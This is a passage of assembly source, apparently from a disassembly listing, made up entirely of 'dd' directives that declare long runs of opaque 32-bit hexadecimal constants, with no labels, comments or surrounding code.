		dd 7A46615Ah, 0A9050133h, 0E90E5606h, 5B7D7487h, 1B0500Fh
		dd 2D05B6B3h, 6EC0C058h, 2880CBFEh, 48EE42F3h, 0BD72A432h
		dd 68159A64h, 11BE3393h, 59242CEBh, 25241008h, 8851D61Ah
		dd 81001FA1h, 0FE3D23CDh, 0DDF7300Ch, 152897BEh, 1C8184Ch
		dd 6109798Ah, 0DE71EBC1h, 907C2CCh, 96E92670h, 0F62D7646h
		dd 16FB52F9h, 350AFD68h, 6E29DDAEh, 0B86C4118h,	3DCE265Fh
		dd 3E9E0200h, 9A00534Dh, 16114C1Eh, 0CC065768h,	1913FC5Bh
		dd 310147B3h, 1F32630Bh, 0A46C0C80h, 0D9F70E90h, 0EE9A6EB8h
		dd 5AB65D4Ah, 0F14AF10h, 54077FFh, 0CA94907Fh, 95DC44FEh
		dd 0DA40BBEAh, 0CEDAC537h, 5EF72C89h, 13F42279h, 0C159850Fh
		dd 3F01682Dh, 0E5E99230h, 0D9229D4Ch, 0BF4C1ACDh, 90916420h
		dd 459C94E4h, 0FFD5348h, 5110C532h, 8F9A6051h, 0E444124Ah
		dd 4DAA1C22h, 2DBBB219h, 0E3935B4h, 3D0711A8h, 0B66D2F56h
		dd 0BA9E5BACh, 5DD0890Fh, 5BAF8DA4h, 122DA49Fh,	8815A013h
		dd 0E52DF472h, 0AF895958h, 0D5F603C0h, 80EE861Ch, 0DECBBD9Dh
		dd 0BB7E8151h, 0B320D188h, 305912CEh, 0A0ADECF0h, 91553668h
		dd 0D854990Dh, 53162E74h, 68A8E2A8h, 0C343D026h, 3D44C2h
		dd 45B280B0h, 50F6C2E0h, 0C18DBA48h, 419B6857h,	5722426h
		dd 0E9050176h, 35D84282h, 70E345A1h, 0DC0357A8h, 0F0962C2Dh
		dd 0A8F195FCh, 14DF062h, 315BFD30h, 80887E23h, 3B234187h
		dd 0DA02448Dh, 0DF2902A5h, 84249ED5h, 5E4BA406h, 50C0A201h
		dd 575FDC12h, 0F972E0D7h, 0F8FD90BFh, 89FCEF24h, 45B197FEh
		dd 0D964C9EEh, 0F7C07B2Fh, 241F3ACEh, 754998h, 2662C045h
		dd 40B47789h, 92E9242h,	56F6AA80h, 9619427h, 0C40E530Ch
		dd 0B169E9D8h, 3EE324C8h, 0BB0E8F34h, 2468AC38h, 0C4882058h
		dd 4B66FC95h, 0B99207E2h, 0D38848Eh, 9DE80B9Dh,	65CBB4C4h
		dd 569E615Dh, 52AD2057h, 809DEA6h, 767EA21Bh, 0A1072040h
		dd 0DF62DE17h, 89EC8F16h, 3B16F850h, 2D38A395h,	744CD99Dh
		dd 887DA230h, 492F685Fh, 71AEB05Ch, 81220765h, 315A1EC9h
		dd 78D1E938h, 0F7493A87h, 0F8B15150h, 83D598A9h, 4F5CF9BEh
		dd 6299FF75h, 0E3BA5E0Fh, 0D3023821h, 0CC3CE6CEh, 99276027h
		dd 0C7C0918h, 0FEF4D631h, 98064B0Ah, 0E9099F26h, 0F78DE00Eh
		dd 70E1A0D6h, 3704241Bh, 1DCE2407h, 3FB78764h, 15B8331h
		dd 38FEE9E1h, 43B50507h, 0DF0BC528h, 0C02A07EEh, 0B3530340h
		dd 0B0E91249h, 3C7FB2BFh, 8DD3929Ch, 69A961E4h,	0CB640D9Bh
		dd 7B077C5Bh, 0D780E068h, 9049597Fh, 604A3C97h,	30E91E06h
		dd 8BE12594h, 29142903h, 0E9D201FFh, 886EBC02h,	0F6A8E78Bh
		dd 1CFC2CB3h, 0A3307EF5h, 5B2E57A6h, 6849E433h,	1A28202Dh
		dd 0D6110BAAh, 1B54A527h, 0AC785F59h, 6E4CF501h, 0E5585240h
		dd 0B8013B55h, 5F126677h, 3B4F4860h, 2FF54524h,	0A752369Ch
		dd 0F205D807h, 2DD00D5Ah, 4829687Eh, 0ED122735h, 0B53FE819h
		dd 52F12CEBh, 4A4099BAh, 5392468h, 92B3638Fh, 0B9262012h
		dd 418A29EBh, 0AC5E06h,	167958B9h, 629572Eh, 2702A99Bh
		dd 8A5FFD2Ch, 0FF3E4462h, 27047322h, 0C2CB0F09h, 0E231E15Dh
		dd 1297FC0Fh, 0D385ED2Dh, 5BBBB0C8h, 9FA58DC0h,	0C24C54DDh
		dd 90CB790Eh, 30037BCDh, 6F642352h, 37276C72h, 0A2D7B59h
		dd 26F8CA2h, 3506B44h
		dd 6AD1CD80h, 292C795Eh, 82271F2h, 83E9EA12h, 9F7C2BF1h
		dd 237EE2A7h, 381C57D2h, 82B0FF26h, 5095325Fh, 419FAA1Ah
		dd 2D6666DAh, 8524F1DFh, 423CF1E9h, 423D6897h, 20892BD1h
		dd 60A97476h, 748266DEh, 21691096h, 5A138056h, 6ECCB470h
		dd 9BC9EBAEh, 815148C1h, 3F53B5DCh, 0C16B893Eh,	3142C14Ch
		dd 0FF076E9Fh, 2965573h, 3180090Ch, 0F6E2AA8Ah,	742DC3D2h
		dd 4894592Dh, 29DEE905h, 4FB3E978h, 0C9D3A307h,	25F074C1h
		dd 24C930D9h, 96B031AFh, 22535F2Ch, 3F7CD39Ah, 0F48BAF89h
		dd 60889E8Eh, 564FBF05h, 38822F17h, 2D408BBh, 42F41EF9h
		dd 41DC8D89h, 417BE98Bh, 8C3089D9h, 4A21BF29h, 6034E4A3h
		dd 0AC412661h, 5A2E162Ch, 0C54718E9h, 0AEB1D2EBh, 66549901h
		dd 0EBBED117h, 0C14C78F0h, 0FBC0740Ch, 8022E29h, 0DEBC45E9h
		dd 0C20245EBh, 0B71F409h, 7376BF00h, 4C295316h,	0EB0519FBh
		dd 4DE0AA0h, 197CFF9h, 1E1BE568h, 0F0B1D1CBh, 0E2C6376Eh
		dd 1ED7607Ah, 51D102FDh, 0E7C12510h, 589B0143h,	803FEBE9h
		dd 211C43AEh, 2DFB890Fh, 0E404A0E9h, 0F62CBF48h, 0EA85055Dh
		dd 0EBD0318Fh, 401DE92Ch, 0CB5B294Fh, 0DD0485CBh, 0F93F59E9h
		dd 9827D5F1h, 91D0F70Dh, 0C398094Dh, 220896F9h,	0F1591695h
		dd 0F875445Eh, 0B2978472h, 7D95B901h, 0CED420FAh, 0F3811FC0h
		dd 0B883F897h, 0E38530E5h, 80C4FE2Ah, 8834F40Fh, 438E89E6h
		dd 8A77A989h, 56896A2Ch, 7B89C67Eh, 0EAFC208Eh,	973AF777h
		dd 15F51D0h, 6012A40Bh,	24D531F5h, 0BEC95F5Ah, 0F9C67A16h
		dd 0F84C2021h, 15AB6966h, 0E4D9BB5Fh, 178A3321h, 0E1305567h
		dd 1EB450BDh, 0D4D4F696h, 6079DDECh, 0DFCBE744h, 375C9B7Bh
		dd 14341C06h, 0AAE80F52h, 0B0E6E912h, 0BF93ADF6h, 67EBD28Ch
		dd 0FE6806F3h, 4D3F6CBh, 3068EEFCh, 0A93BCB34h,	0D81BC817h
		dd 968D6CCh, 35935E94h,	7055BC80h, 0E9253C53h, 3C1B5B13h
		dd 43A720A5h, 563A75F3h, 4B56B880h, 12707BA0h, 0BB3926F5h
		dd 543D9509h, 0C2898385h, 56D247B9h, 0C882F450h, 0ACC7F104h
		dd 686435FBh, 0C0C1B109h, 78015A3Ah, 18652FCEh,	34EFA5C9h
		dd 3FB15DCAh, 12DC5325h, 42240FDh, 2CD0287Bh, 7904A8E9h
		dd 0E7199B4h, 0BD5CAF64h, 5820F0C4h, 29592589h,	66837B7Ch
		dd 0F96AAF7Fh, 43991B5Fh, 6E42B0C6h, 0A8C32E40h, 5CB131D2h
		dd 0D058BF01h, 3D759100h, 0E94E4653h, 31257DEFh, 1BC920D9h
		dd 980207F8h, 76340177h, 0E9577251h, 81CB8709h,	43CF2FEDh
		dd 0E9EE3169h, 317643D6h, 0A8086813h, 0C9B64A33h, 426A795Ah
		dd 4009E492h, 82EB403Fh, 4235ECF6h, 78EA2CBEh, 0DF35F963h
		dd 343D9881h, 0CA38485Bh, 0C751B169h, 0A5AFFEA5h, 1049D9F3h
		dd 81FA2314h, 4283E52h,	7F050768h, 8B8B1D87h, 2B717FD6h
		dd 0F75FE350h, 594B79D3h, 0B5BB151h, 0EEC06DF1h, 0C01F8B0h
		dd 2BB353EDh, 9DBC8E9h,	895BDAF7h, 0E9847765h, 0F81202B0h
		dd 7C8D9EB9h, 0E141E723h, 4002FC5h, 681E66AFh, 82D63B93h
		dd 0F85A1F49h, 0D8574B3Eh, 94975F8Dh, 0A30F2688h, 8814421Fh
		dd 0FE4DCB20h, 0CF65B0C3h, 86F9B3EBh, 57520022h, 0B3406768h
		dd 2E02625Fh, 0E09D0A46h, 58070E2Ch, 0AF1043DFh, 0B16839A9h
		dd 0E8FBE773h, 0C15A346Fh, 204BB747h, 2BA48D3h,	0C5C82925h
		dd 9ACCA5C3h, 921EA125h, 3F6783A3h, 0AA1D1305h,	6AF34087h
		dd 832C6B28h, 0AC8A8BF7h, 948C64Bh, 4FCE560Ah, 42348B80h
		dd 0C12D43E8h, 48C8C0E3h, 0A3C9123Fh, 0E9A50501h, 54B64EB8h
		dd 0A78539CAh, 1612EA70h, 0C6471E9Fh, 0C2CC043h, 0C2BB13ECh
		dd 40CC12A3h, 706C2DD2h, 481E4297h, 0E702E0D1h,	769E3341h
		dd 0BE560F60h, 68216243h, 0B013022Ch, 0AF0F4EC0h, 294B2Ch
		dd 8E5E6DCh, 0C13076B5h, 0F5C6B4EEh, 0FCDC09FFh, 0C8F4F301h
		dd 28C4F069h, 2061E39Eh, 314A1DF1h, 59D042A0h, 3BDACF13h
		dd 0F4EBB28Fh, 655F63E2h, 29EB51Bh, 0DA885C77h,	38F540E1h
		dd 6F04D348h, 0AC0FE768h, 52669F00h, 42981FB2h,	0B52DA340h
		dd 269FC76Eh, 131901D1h, 0C816C068h, 6AF25609h,	0FCBC484Eh
		dd 0ED28D715h, 19770981h, 0FCE83031h, 38E4C8BDh, 96FA846Dh
		dd 780864Dh, 0F0D8CBF2h, 26EFC05Eh, 2F071157h, 5B0BD729h
		dd 14F563C2h, 0F0ED4CE4h, 0ABB1A814h, 6E503A8Bh, 134C149Dh
		dd 0B659D068h, 9274279h, 0D6149C68h, 2A0A6204h,	6DC3C104h
		dd 5B4BCB40h, 485280CDh, 434B69E6h, 0E90BDEB2h,	0A023DD18h
		dd 9B9F5FFDh, 0EB416412h, 0ED518C1Fh, 14987C08h, 94D70313h
		dd 92DD2971h, 1725A6F2h, 2F9D236h, 0E63A7D29h, 846316F5h
		dd 85E620B0h, 0E12DFC96h, 0ED7D50F5h, 9C9F810h,	4B1F6B6h
		dd 3C4F1FEh, 0F15875D2h, 996609EFh, 68E39D5Eh, 48BF8D12h
		dd 80021E89h, 0E22806EAh, 0EBCA4065h, 64FA95F0h, 24C29E75h
		dd 0E11C5F09h, 9105225Ah, 2D7900h, 933E9068h, 47772232h
		dd 0D6F70A34h, 0CD09FA53h, 297832EFh, 97DDD05Eh, 0DDA0E971h
		dd 196BDA1Dh, 91DE945h,	0A6B83CD4h, 0FA057281h,	2D92141h
		dd 0FBC007EDh, 0D6371099h, 628F160Ch, 82ADE36Dh, 9AA8C99h
		dd 1217BD80h, 892E0903h, 0ED2A2DC8h, 12501949h,	79BD055Bh
		dd 36093548h, 25804D6Ah, 5B610AF6h, 0E604C1F8h,	1EB36803h
		dd 1CDA898h, 21231D22h,	3FF7E9DEh, 7DCED640h, 0EC330B37h
		dd 274F09EEh, 3F862B0Ch, 60CB85Eh, 1EF093D2h, 4591703h
		dd 105D1261h, 5B2D0856h, 0B7181DC2h, 0B04E6DE9h, 3489DA5Eh
		dd 0AFC182ADh, 0EF307606h, 4F201569h, 7ABA5256h, 75507207h
		dd 732E6BEh, 0FA74D04Eh, 1757EE9Ch, 0B9C2813Bh,	0C8AA50A8h
		dd 0EEC78980h, 95384E32h, 9332ECE8h, 562CC456h,	0F6CC4001h
		dd 0BA80DE39h, 0C0D6941Bh, 0C63878A2h, 0E9F00BF3h, 0F429C211h
		dd 49551EA8h, 4E59DC45h, 6B05B58Fh, 81502092h, 2C4DC9F1h
		dd 103C15F4h, 0F5077BA6h, 659F105Ah, 0DC8A36B2h, 0A8544B07h
		dd 0D18D2FB8h, 0E6559215h, 9F7916D3h, 1370CB45h, 7861DF8Dh
		dd 9D53DEE8h, 0E919AB66h, 0EB931B4Fh, 0B8E8946Eh, 0B3E9C2DEh
		dd 0A81ED39Ah, 6FA49DE4h, 0E825942Fh, 0C68E048h, 33E6971Ah
		dd 139D5C25h, 0EAF9C260h, 0B5B5867Ch, 70B8B0B5h, 28FAC96Fh
		dd 40BD024Ch, 4C7B707Eh, 0C978ED09h, 4BC5010Dh,	4203D1ADh
		dd 3CD46AE9h, 0D830AC07h, 0A5BDC982h, 9BEC57D6h, 1242091Fh
		dd 0B6DF5346h, 825CCB40h, 43646Eh, 0C32FB3BEh, 55F9767Ah
		dd 7720BFD5h, 5671105h,	0C80127D0h, 5907042Dh, 16FFB687h
		dd 6800C8BEh, 0C4E9358Ah, 9D2A41Ah, 18450672h, 511FA0C6h
		dd 0AE4070B9h, 6BDCB80Fh, 98557231h, 55429512h,	0ACD5D589h
		dd 9EE0D850h, 7D5C8365h, 88D92E3Dh, 45D56491h, 0CFFB431Eh
		dd 0F578292h, 58844E8Bh, 427BC15Eh, 0EF258018h,	5064582h
		dd 7833B859h, 5EC083CDh, 494FB523h, 982567A8h, 1D09D889h
		dd 0C518C448h, 142C780h, 0CB669538h, 0DE6A291Eh, 68999875h
		dd 0E971C2BCh, 0C1C6150Eh, 0AD9231F1h, 243CEF10h, 3FB4234h
		dd 5D8D0402h, 52A1CEE3h, 0E6E820B6h, 0BFD140h, 4DA56E0Fh
		dd 685FF989h, 10102C25h, 27595855h, 0D15EE8D1h,	527DFC82h
		dd 988A400Dh, 0F4626A6h, 122A1074h, 0B109E628h,	0FD195D1Ah
		dd 0F3F22E52h, 965D5CB2h, 0F630B5CFh, 205016E9h, 0F709E20Ch
		dd 7D58CD67h, 0BD555498h, 3F10B809h, 0DE418018h, 0A1A6F339h
		dd 0FD24D0E4h, 3B800768h
		dd 0C25E2662h, 0B1751A03h, 0DC081114h, 0EFC9814Fh, 69848FF6h
		dd 46CE6170h, 0CAE0C540h, 85F15B8Bh, 41E801C0h,	0BA2C920Fh
		dd 48670498h, 9B6573Ah,	15427227h, 0E3E5197Fh, 4830EE34h
		dd 0B52061E8h, 5A034698h, 99B5E70h, 4BB412F2h, 0C43BFC07h
		dd 0AFD4F711h, 2B1F0BC1h, 5AD58800h, 52C5801Ch,	0B006EDD7h
		dd 4B2A8406h, 9F30E259h, 0DE4029D3h, 0B850435Bh, 7D7271B3h
		dd 126C4F21h, 0E060FA53h, 0E4B46857h, 5F722792h, 20A357Eh
		dd 0D5058347h, 9EC15B65h, 9A7B8C43h, 0CFAC4E4Bh, 0F5DBA84Fh
		dd 0B8920F34h, 831F51Fh, 0B3D4D209h, 46685860h,	3EE7B537h
		dd 61D1F014h, 0B2499BDAh, 4E186360h, 0E4124413h, 48B4E317h
		dd 565E8176h, 8C64D1E9h, 0FC90509h, 0FDFE2684h,	69C658BDh
		dd 46686C0Ch, 0FE90A59h, 0CF92D4D5h, 5C38200h, 175948CCh
		dd 60251E68h, 0FE0DBF62h, 0E3C1020Bh, 52270B03h, 3D21E884h
		dd 2C2A1416h, 59AC76D8h, 0A84E5DAAh, 0E1CBB51Ah, 2243E34Ah
		dd 92B2529h, 8072197Ch,	0EA73FEACh, 4BD1601Bh, 1CBF3646h
		dd 2B67E913h, 4AC500BCh, 0C7ACF401h, 313B9D94h,	0F367447h
		dd 4F211A60h, 79DFCBCFh, 5DCC9B4Bh, 23A72568h, 8690BAECh
		dd 3252C85Ah, 0A8ED4BF5h, 5876C868h, 95257A5Eh,	665F97C0h
		dd 723A4C96h, 2CF38E3Ch, 3F1FDF81h, 10B7015Fh, 0C581838h
		dd 86385C9h, 991F4427h,	0CD3A38EBh, 7C9530B9h, 0C187B160h
		dd 5FACC857h, 0F9D1A1A2h, 42385Ah, 0CA14DDBAh, 4CEAC16Ah
		dd 960C0B07h, 3FA25336h, 0B850AA40h, 3A010B49h,	0AE8B2FF7h
		dd 96D5CC42h, 2968165Fh, 4AE2A73Bh, 365417D5h, 0E2552758h
		dd 43B7F43h, 33AE97E9h,	745C256Ch, 7F6262E6h, 2077BF00h
		dd 294807BCh, 0E2575FF8h, 0A0DD280Dh, 33E8EA16h, 0C73EED02h
		dd 5FE91247h, 591C65F8h, 5165EF80h, 0D03B383Ch,	0F9EBC596h
		dd 0CDE2CCE9h, 0C8B34853h, 0A293C612h, 0FE089245h, 0FCAE2021h
		dd 0B6C4B72Eh, 0DBE65C5Bh, 7389052Fh, 646F0E5Ch, 29BAAD0Bh
		dd 96612085h, 15112102h, 0DC9A52E9h, 93696B1Ah,	1909CF34h
		dd 0C43BE168h, 8A32201Bh, 3F9228D4h, 40ED925Fh,	23B59000h
		dd 0F383101Fh, 11F57881h, 6B510C5Fh, 0D5B9B1C5h, 58B1C78Ch
		dd 0CC75E913h, 9710DFA6h, 8951167Eh, 59CF3604h,	1DB1AF81h
		dd 0AA1B313Ah, 0AF7365D8h, 812BF25Eh, 622C3BDh,	0C136D79Eh
		dd 3B215A40h, 0A60C0504h, 0E12FA113h, 26706C9Eh, 0A118BEADh
		dd 0B7DDF70Ch, 0BAC55C68h, 3A0B3F05h, 4D022E9h,	4FB7BFh
		dd 0F78125CEh, 766643C7h, 7141315Fh, 39CC3061h,	8EE7123Bh
		dd 0CB431A56h, 6EF701B1h, 0C856C5Eh, 827E7809h,	107AFD90h
		dd 0A402EE3Eh, 0BB8F0A12h, 969014Ah, 0F4F1DD21h, 0BF03122Ah
		dd 0CF378379h, 1DD47D10h, 0FECDF509h, 0CC3E0EB6h, 8997C41Eh
		dd 0C854FED2h, 0E5EC08DEh, 0C51C522Ch, 22563C05h, 19049A12h
		dd 5D0CE710h, 6082CE2Ah, 0BB6A515Ah, 4E8D12F6h,	96C9522Ch
		dd 0AA68AFA1h, 13D86619h, 92D20FD3h, 2FE30004h,	0FFA03E17h
		dd 84277089h, 1CD157h, 0DB75120Dh, 7400251Ah, 2D422317h
		dd 7F9E2B79h, 5C680A46h, 93C5446Eh, 2AE1E811h, 0A783F958h
		dd 0B37F29EAh, 57EAC2B3h, 0BD9C4A14h, 0CCADF1E8h, 0F8F626BFh
		dd 0A21C9691h, 347506D7h, 20C230Dh, 3ADD1DECh, 9060FA01h
		dd 53025C95h, 0E9DE8708h, 30E5F826h, 0CD5A5557h, 337DB818h
		dd 3FE0DB55h, 62969A01h, 0C810D8Dh, 0DBC7A3CAh,	83782131h
		dd 0E532E654h, 0EE362062h, 242CD225h, 0C7167C00h, 0E38F117h
		dd 0D0106F3Eh, 4BD15F07h, 98697165h, 0AC0624A4h, 0F104A5D2h
		dd 913C65Bh, 0E770770Bh, 0FE804A5Fh, 74D355F2h,	417DB0D4h
		dd 7EC22E8Dh, 0ADA2C553h, 0E92F1566h, 5D900225h, 93835729h
		dd 1204B80Fh, 7C4F684Bh, 880520CDh, 1155E587h, 3A0A92A9h
		dd 8ABF875h, 5A13FD3Fh,	5C01ECD0h, 27407EACh, 16540F73h
		dd 9AB9E363h, 5982DF7Bh, 0FC098613h, 0F0A16EDCh, 79391A16h
		dd 63C30E62h, 0E0532F60h, 8D5AB7F3h, 0C68BCBCh,	4ACEE983h
		dd 21ACEF4Eh, 0A48EC4h,	5148DBBEh, 9EB907Bh, 0F8955ACFh
		dd 312770F8h, 4FB864FDh, 7BC9F711h, 6F0B744Ah, 0F1F84859h
		dd 0B97882C1h, 64C6DA25h, 4BC6BD9Fh, 0EC7BCB22h, 0B4D1E7Fh
		dd 0A971C944h, 1444B1F6h, 3C2D0EA1h, 275582E4h,	0F382C6ABh
		dd 5679EEFBh, 76B5AC42h, 0B61962E4h, 0B371381h,	10863C5Eh
		dd 0E44B1FC4h, 250532A1h, 0D52987F4h, 4F4E11Ch,	2D5A88EAh
		dd 6B1E9C01h, 5F8017Eh,	28BF0744h, 0CE2EE937h, 74A5ACD6h
		dd 0ED9E6F66h, 1BF0C289h, 0F1886664h, 0D099D8EAh, 0BA01AA96h
		dd 436E7499h, 1F69E2E0h, 8135B11Fh, 0E73725CAh,	2FF2310Eh
		dd 8B4B4B1Fh, 5BEF7488h, 98C3EF84h, 0B450A028h,	7880798Bh
		dd 52E30F6Ah, 1613E5B2h, 0F5E3092Ah, 5E61997Fh,	0B804A06Bh
		dd 35737204h, 3182E7C1h, 687169DFh, 8C2B76F9h, 49456108h
		dd 0BD9E0A6Bh, 0EDF46989h, 0F201FBA4h, 285D46E1h, 0D7C41F6Eh
		dd 0C0C52DB5h, 5B0C66DDh, 0AC84ED80h, 41039836h, 8EBAE0B9h
		dd 6DE3504h, 1BBE2C1h, 0DD30E3FBh, 0B2648427h, 30822E46h
		dd 65EECA9Fh, 575612A2h, 4E038A20h, 0E909A5B3h,	0FA5282E5h
		dd 819DA3EEh, 80C1FE5Ah, 84208B31h, 0AF6880CFh,	71AC704Bh
		dd 3DF0E9E1h, 55E20695h, 589EAA23h, 0F38B15A5h,	7620497Ah
		dd 30B5B80Ah, 780B0B23h, 0BBF65348h, 14150330h,	0C76B06EBh
		dd 0E660770Bh, 0E3180E4Bh, 0C30A1889h, 24F77C80h, 958AD929h
		dd 7F9FB45Bh, 0E92AC3FDh, 0B3E17FCh, 7B9F7D5Eh,	11FBF3Fh
		dd 0F5F42FBh, 77DC0B7h,	0CD4A53D5h, 5E286E2Ah, 7109CF55h
		dd 2025F144h, 2C90CAB0h, 0C11F0B8Bh, 9D8408EAh,	5176EA89h
		dd 0AF772F48h, 3C318BA1h, 0A7A03A32h, 0DC6082EFh, 0DE12106Bh
		dd 9AF893Eh, 9FF9ED5Ch,	0EB5408h, 6AB753ACh, 0C031C7FEh
		dd 0E4B572EFh, 0B77EE39h, 5704A18h, 0F0550731h,	47B5BA47h
		dd 369230E8h, 21E6A516h, 515BDF03h, 8E114FB9h, 7FC1042Ah
		dd 0EF722356h, 0EF501890h, 0E99D17E2h, 0B8E523E6h, 594B1680h
		dd 0B729E09Dh, 0F01A9DC4h, 0B1510B40h, 0CA88CC0Fh, 0B3530059h
		dd 5ED4E9D3h, 809BC981h, 0B68AB526h, 70EE802Ch,	0D066E65Eh
		dd 590B0616h, 8AAFC7E9h, 0F1C0929Dh, 8FEF359Eh,	0A97AF1BEh
		dd 70F50017h, 9832C763h, 188C01FEh, 0F921EE67h,	90DFD2E9h
		dd 656D35D9h, 465F5A2Ch, 5CD6018Dh, 0B5606E3h, 75CBECBAh
		dd 20CB3F70h, 70B0555Ah, 0AF83CBC6h, 0FE8A78B4h, 646B404Eh
		dd 0A8E90288h, 0B62D25D2h, 0BF9FC23Ah, 14028DABh, 9357E870h
		dd 791217C7h, 4C83E214h, 1AC2B433h, 74C75F3Dh, 0FB932D3Fh
		dd 93EA6F4h, 0C8FCD1F5h, 421E56E9h, 1175A5B0h, 372C53B9h
		dd 704F9C07h, 585E606Fh, 0C971BEBBh, 1CD2EA48h,	3040818h
		dd 0E684F301h, 396C0818h, 6D2D817Fh, 880500A4h,	6879F057h
		dd 255B4EE1h, 0FAC590FFh, 7A28DD75h, 45E1DA8Fh,	2F60FE08h
		dd 0B58AE1E9h, 40ADDD45h, 0C0A25EA2h, 7F9ABB1Eh, 0C6C03684h
		dd 664237EDh, 0D0F72E48h, 0E68F156Eh, 0A0D8AC2Dh, 0F828FA10h
		dd 0E9CB314Bh, 6F4FE331h, 0F4CA44B0h, 0B6D7B28Bh, 0CF04D2B9h
		dd 9E34BCBAh, 0AAA08509h, 0DA022A11h, 894DF85Bh, 0CAE810BBh
		dd 17791D88h, 0D9EA8E3Dh, 0B87F37C4h, 0FBA45EB5h, 97DA9A3Eh
		dd 9C7F8D42h, 0FC5B4B7Ch, 254AB18Bh, 4480EB04h,	481978DBh
		dd 2900293Fh, 0E9C0E687h
		dd 9EA8CA1Dh, 762D730Ah, 2FDB780Eh, 0E6E0E5C1h,	9504710Bh
		dd 9972E906h, 3F2767E6h, 0ED07545Ah, 65BD582Eh,	2D725B3h
		dd 29130D28h, 2F54DA7h,	0C0D8F754h, 4BAB1B6Ch, 2ED3A1AFh
		dd 6EA07024h, 0D987275Bh, 0E9C192DCh, 83052AD5h, 638720Ah
		dd 25875F4Ah, 66EC065Dh, 101C0B68h, 85A68DE9h, 4203C50h
		dd 12D99D14h, 4442B92Ch, 53890F97h, 3C04155Eh, 0B7C53930h
		dd 6408688h, 0FE0A6E35h, 402C665h, 86283F2Dh, 0FFA55DF5h
		dd 8333BB44h, 0E9690A29h, 82AECD6Ch, 22392AD0h,	0F61C9940h
		dd 89045E74h, 25B2E9DFh, 8EDE69BFh, 333668A8h, 0C7A640ECh
		dd 7A93BCA9h, 7F5CB522h, 0BE5826A2h, 0F7E59514h, 26127425h
		dd 6B11021Ah, 0AB5760A6h, 83C669CCh, 0DB9868DAh, 8EA85C30h
		dd 9B3C924h, 25D456Fh, 5CE5EA6Fh, 0EB48097Ah, 0CC25C5F1h
		dd 30F87DEAh, 0E9875930h, 519F3AF4h, 0EAD8E317h, 4E34BF3Dh
		dd 0D449FACAh, 0CED12984h, 0DB01248Ah, 0DF042897h, 0C103D6B2h
		dd 0B1F918E8h, 9AE93293h, 6F187DABh, 0CC634EE9h, 9A5AD3D3h
		dd 2FE561C3h, 0A3019462h, 357D6658h, 840BA5A7h,	0BC8056B7h
		dd 49345DDDh, 0E90DA937h, 0E4F51252h, 893D101Dh, 2C969767h
		dd 49359ECh, 7A339F0h, 7FB9C580h, 0AA99989h, 9B48968Bh
		dd 457A37EEh, 18058700h, 291EF835h, 0A1C4B5F0h,	924A2D38h
		dd 0BBA4ABC9h, 0D6AB5EBh, 45EC4641h, 8881AA33h,	387C08C1h
		dd 18B4F518h, 0C34B6887h, 0B7C5E3A8h, 72BED90h,	0A60459EEh
		dd 4F53765Ch, 26C0F78Dh, 0E7428950h, 0CAF90BC5h, 44AF32Fh
		dd 0A36BC268h, 50BF11D6h, 12881950h, 0C542E9D4h, 2E65FEh
		dd 0F16FC143h, 0D398E91Ah, 0AE50E702h, 88CE0162h, 982C0894h
		dd 5E499B78h, 9712B0BAh, 76E10DD3h, 0D8F5CD7Ch,	109F649Ah
		dd 4E8BF889h, 9C9E608h,	0B0734E68h, 9498C2CFh, 0CFB38120h
		dd 3F29B8B2h, 5AC79F09h, 54E91751h, 0ABDD9020h,	12416373h
		dd 724D12Dh, 0E98702B9h, 0E6A3ADCAh, 0AEC1C4C1h, 71D83AB0h
		dd 0F76C5EE4h, 0BC3217Ch, 30ABC568h, 56E0EBD4h,	336E55BEh
		dd 0B6B07291h, 81631380h, 4F93E307h, 0F36045DFh, 7CCF7EF2h
		dd 0B2CB060Eh, 0C3E0F75h, 0D9047F01h, 0EAD6E950h, 0A5445633h
		dd 84BB7053h, 1374DA20h, 0C58E130h, 0CAD20829h,	0AC172C3Bh
		dd 3BA4AB33h, 0F5909C02h, 0F9C27FDFh, 0E91370D8h, 0CBAC73E5h
		dd 9FD0F8D2h, 0FAA4D79Fh, 0C1D7CA52h, 0C082FA1h, 978A7C82h
		dd 0BA20B0C9h, 15A1454Eh, 30473140h, 0D81F5832h, 87208F4Ch
		dd 4EAC116h, 50CCEE01h,	0DD404526h, 95C53164h, 105FC72h
		dd 0D895E9D1h, 0B290ECB8h, 0C4712C00h, 41F68170h, 656E201Dh
		dd 0DB3CE80h, 984E61DEh, 8B4B097Bh, 68413EF5h, 5D09E6DDh
		dd 0D04A1693h, 7C7E14A6h, 3DE5B457h, 0CB481151h, 8030B21Dh
		dd 0B578AED0h, 0E3F11C13h, 0FB118996h, 0BD81D15Fh, 2D82D2DBh
		dd 3C01AAA9h, 0D10F4305h, 7E482102h, 89D03392h,	0A609D4F2h
		dd 0AA14450Dh, 0B114C38Dh, 0D40968C3h, 204F0507h, 0C325280Ah
		dd 0E7F6875h, 0A1030D5Eh, 993CF680h, 6BEC7FC6h,	0E7BFA99Ah
		dd 43187C92h, 0DFF75B34h, 6808EFD8h, 0C25E5C24h, 78FD31C5h
		dd 2158C705h, 0D30DECF8h, 280B1416h, 4EB3EB30h,	0AD94F836h
		dd 282A0609h, 0E9125389h, 25AEE62Ch, 488BE801h,	77E3186Eh
		dd 0CB4B018h, 0C8FED72Ch, 0F696C3A8h, 6AA9F273h, 1C16DF3Dh
		dd 24171F20h, 243D9F7h,	0A5ECBA54h, 511CD17Ch, 0EBE7D0ACh
		dd 66C4F2BAh, 0F5FEF5E4h, 3C4F2D00h, 583A0424h,	2F0EB11Ch
		dd 0DF41D772h, 8E6C15Eh, 7607EECCh, 78370981h, 21DD4DB6h
		dd 0A4E9A51Bh, 17305E21h, 2EE541BBh, 0FFEF088Dh, 20115259h
		dd 0F2B01118h, 87CCE259h, 0E6B295B6h, 9054015h,	3FC59750h
		dd 888EB682h, 0C63002F0h, 5EE2960h, 1731C90h, 0E916F1ECh
		dd 0FF302C3Bh, 9773B468h, 95E44F18h, 0E4586E9Dh, 3648BFD3h
		dd 608271ACh, 3B61E01Fh, 0ED24D2E1h, 21910446h,	12D6D429h
		dd 0A5AAFC08h, 317CFDB1h, 0CC93E480h, 76012D1Fh, 2979A97Eh
		dd 74405E8h, 0D9DDD18h,	0B0818291h, 6A4F8321h, 0E6CFBB04h
		dd 4D8041Ch, 0FF81BE48h, 126272D1h, 0CA28A200h,	0FED2F659h
		dd 70E5C27Ah, 1E49883Dh, 0E2D1251Bh, 0BBAEC54Dh, 9B46F200h
		dd 55E98CCEh, 0A94C629Dh, 5C3A7427h, 3F09CA98h,	356923Eh
		dd 0CCD1061Bh, 6C4B7DC0h, 22486042h, 4C219D09h,	0EF92A6B6h
